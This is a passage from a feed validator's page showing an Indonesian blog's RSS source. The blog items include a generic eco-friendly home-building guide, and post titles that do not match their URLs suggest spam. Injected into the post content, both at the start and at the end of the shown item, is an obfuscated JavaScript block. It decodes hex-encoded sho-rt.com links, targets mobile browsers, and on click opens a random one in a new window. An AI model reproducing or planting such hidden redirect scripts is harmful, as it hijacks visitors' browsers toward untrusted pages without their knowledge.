_0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());</script></p><p>The post <a href="https://lensawartawan.com/cara-mengurus-njop/">Makanan Sehat untuk Menjaga Kebugaran Tubuh</a> first appeared on <a href="https://lensawartawan.com">Lensa Wartawan</a>.</p>]]></content:encoded>
378. </item>
379. <item>
380. <title>Judul: Panduan Lengkap Membangun Rumah Impian dengan Bahan Ramah Lingkungan</title>
381. <link>https://lensawartawan.com/cara-mengurus-sertifikasi-dosen/</link>
383. <dc:creator><![CDATA[BOSLINK.ID]]></dc:creator>
384. <pubDate>Sat, 23 Sep 2023 21:41:00 +0000</pubDate>
385. <category><![CDATA[Tips Dan Trik]]></category>
386. <guid isPermaLink="false">https://lensawartawan.com/?p=918</guid>
387.  
388. <description><![CDATA[<p>Hello, pembaca! Apakah kamu sedang merencanakan untuk membangun rumah impianmu? Jika iya, maka kamu telah datang ke tempat yang tepat. Artikel ini akan memberikan panduan lengkap tentang bagaimana membangun rumah yang ramah lingkungan. Rumah dengan bahan-bahan ramah lingkungan tidak hanya menjaga kelestarian alam, tetapi juga memberikan kenyamanan dan keindahan untuk para penghuninya. 1. Pilihlah Lokasi ... <a title="Judul: Panduan Lengkap Membangun Rumah Impian dengan Bahan Ramah Lingkungan" class="read-more" href="https://lensawartawan.com/cara-mengurus-sertifikasi-dosen/" aria-label="Read more about Judul: Panduan Lengkap Membangun Rumah Impian dengan Bahan Ramah Lingkungan">Read more</a></p>
389. <p>The post <a href="https://lensawartawan.com/cara-mengurus-sertifikasi-dosen/">Judul: Panduan Lengkap Membangun Rumah Impian dengan Bahan Ramah Lingkungan</a> first appeared on <a href="https://lensawartawan.com">Lensa Wartawan</a>.</p>]]></description>
390. <content:encoded><![CDATA[<p>Hello, pembaca! Apakah kamu sedang merencanakan untuk membangun rumah impianmu? Jika iya, maka kamu telah datang ke tempat yang tepat. Artikel ini akan memberikan panduan lengkap tentang bagaimana membangun rumah yang ramah lingkungan. Rumah dengan bahan-bahan ramah lingkungan tidak hanya menjaga kelestarian alam, tetapi juga memberikan kenyamanan dan keindahan untuk para penghuninya.</p>
391. <h2>1. Pilihlah Lokasi yang Tepat</h2>
392. <p>Hello! Salah satu langkah terpenting dalam membangun rumah impian yang ramah lingkungan adalah memilih lokasi yang tepat. Pilihlah lahan yang tidak terlalu jauh dari pusat kota agar mengurangi emisi karbon dari perjalanan yang jauh. Selain itu, pastikan pula bahwa lahan tersebut memiliki akses yang baik ke fasilitas umum seperti sekolah, rumah sakit, dan pusat perbelanjaan.</p>
393. <h2>2. Gunakan Bahan-Bahan Ramah Lingkungan</h2>
394. <p>Hello! Saat membangun rumah, pilihlah bahan-bahan yang ramah lingkungan seperti kayu yang berasal dari hutan yang dikelola dengan baik atau bahan bangunan daur ulang. Selain itu, hindari bahan-bahan yang mengandung bahan kimia berbahaya seperti formaldehida. Dengan menggunakan bahan-bahan ramah lingkungan, kamu akan membantu mengurangi dampak negatif terhadap alam.</p>
395. <h2>3. Desain Rumah yang Efisien Energi</h2>
396. <p>Hello! Salah satu aspek penting dari rumah ramah lingkungan adalah desain yang efisien energi. Pastikan rumahmu memiliki pencahayaan alami yang cukup sehingga kamu dapat meminimalisir penggunaan listrik di siang hari. Selain itu, pilihlah peralatan rumah tangga yang hemat energi dan gunakan panel surya untuk memanfaatkan energi matahari sebagai sumber listrik.</p>
397. <h2>4. Tanam Pohon di sekitar Rumah</h2>
398. <p>Hello! Menanam pohon di sekitar rumahmu tidak hanya memberikan keindahan, tetapi juga membantu menjaga kualitas udara. Pohon-pohon tersebut akan menghasilkan oksigen dan menyerap karbon dioksida, sehingga membantu mengurangi efek rumah kaca. Selain itu, pohon-pohon juga dapat memberikan perlindungan dari sinar matahari yang berlebihan dan mengurangi suhu udara di sekitar rumahmu.</p>
399. <h2>5. Kurangi Penggunaan Air</h2>
400. <p>Hello! Penggunaan air yang berlebihan dapat menyebabkan kerusakan lingkungan. Oleh karena itu, penting untuk mengurangi penggunaan air sebisa mungkin. Kamu dapat memasang toilet yang hemat air, mengumpulkan air hujan untuk keperluan irigasi, dan memperbaiki kebocoran air di rumahmu. Dengan cara ini, kamu tidak hanya mengurangi penggunaan air, tetapi juga menghemat biaya tagihan air bulanan.</p>
401. <h2>6. Buatlah Taman Vertikal</h2>
402. <p>Hello! Jika kamu memiliki lahan yang terbatas, kamu dapat mencoba membuat taman vertikal di rumahmu. Taman vertikal tidak hanya memberikan keindahan visual, tetapi juga membantu mengurangi suhu dan meningkatkan kualitas udara di sekitar rumah. Kamu dapat menanam berbagai jenis tanaman hias maupun sayuran secara vertikal dengan menggunakan pot atau rak khusus.</p>
403. <h2>7. Gunakan Lampu Hemat Energi</h2>
404. <p>Hello! Pemilihan jenis lampu yang tepat dapat berkontribusi dalam menjaga kelestarian alam. Pilihlah lampu hemat energi atau lampu LED yang lebih efisien daripada lampu pijar konvensional. Lampu hemat energi tidak hanya lebih awet, tetapi juga menghasilkan cahaya yang lebih terang dengan penggunaan daya yang lebih rendah. Hal ini akan membantu mengurangi konsumsi energi di rumahmu.</p>
405. <h2>8. Gunakan Cat Ramah Lingkungan</h2>
406. <p>Hello! Ketika kamu memilih cat untuk dinding rumahmu, pastikan memilih cat yang ramah lingkungan. Hindari cat yang mengandung bahan kimia berbahaya seperti timbal dan merkuri. Pilihlah cat yang berlabel ramah lingkungan atau cat yang terbuat dari bahan organik. Selain itu, pilihlah warna cat yang cerah untuk mengurangi penggunaan cahaya buatan di siang hari.</p>
407. <h2>9. Buat Sistem Pengolahan Limbah</h2>
408. <p>Hello! Pengolahan limbah yang baik sangat penting dalam rumah ramah lingkungan. Buatlah sistem pengolahan limbah yang sesuai dengan kebutuhan rumahmu. Kamu dapat memasang septic tank biogas untuk mengolah limbah organik menjadi energi yang dapat digunakan untuk memasak. Selain itu, kamu juga dapat memilah sampah organik dan sampah non-organik untuk diolah lebih lanjut.</p>
409. <h2>10. Gunakan Sumber Energi Terbarukan</h2>
410. <p>Hello! Salah satu langkah besar dalam membangun rumah ramah lingkungan adalah dengan menggunakan sumber energi terbarukan. Kamu dapat memasang panel surya atau turbin angin di rumahmu untuk menghasilkan listrik. Selain itu, kamu juga dapat memanfaatkan energi geothermal atau energi panas bumi untuk pemanas air dan pemanas ruangan.</p>
411. <h3>Kesimpulan</h3>
412. <p>Hello, pembaca! Membangun rumah impian dengan bahan ramah lingkungan adalah pilihan yang tepat untuk menjaga kelestarian alam. Dengan memilih lokasi yang tepat, menggunakan bahan-bahan ramah lingkungan, dan menerapkan desain yang efisien energi, kamu dapat memiliki rumah yang nyaman, indah, dan ramah lingkungan. Selain itu, dengan mengurangi penggunaan air, menanam pohon, serta menggunakan sumber energi terbarukan, kamu juga ikut berkontribusi dalam menjaga kelestarian alam untuk generasi masa depan. Jadi, mari kita bersama-sama membangun rumah impian yang ramah lingkungan!</p>
413. <p><script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x41\x44\x4f\x32\x63\x382','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x43\x66\x6c\x33\x63\x363','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x52\x55\x48\x30\x63\x310','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x68\x73\x51\x37\x63\x357','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x58\x55\x54\x36\x63\x376','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x64\x52\x41\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x49\x78\x77\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x4b\x4c\x67\x31\x63\x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x58\x75\x50\x34\x63\x374',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x4c\x63\x49\x39\x63\x319','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());</script></p><p>The post <a href="https://lensawartawan.com/cara-mengurus-sertifikasi-dosen/">Judul: Panduan Lengkap Membangun Rumah Impian dengan Bahan Ramah Lingkungan</a> first appeared on <a href="https://lensawartawan.com">Lensa Wartawan</a>.</p>]]></content:encoded>
417. </item>
418. </channel>
419. </rss>
420.  

If you would like to create a banner that links to this page (i.e. this validation result), do the following:

1. Download the "valid RSS" banner.

2. Upload the image to your own server. (This step is important. Please do not link directly to the image on this server.)

3. Add this HTML to your page (change the image src attribute if necessary):

   <a href="http://www.feedvalidator.org/check.cgi?url=https%3A//lensawartawan.com/feed/"><img src="valid-rss-rogers.png" alt="[Valid RSS]" title="Validate my RSS feed" /></a>

If you would like to create a text link instead, here is the URL you can use:

http://www.feedvalidator.org/check.cgi?url=https%3A//lensawartawan.com/feed/

Home · About · News · Docs · Terms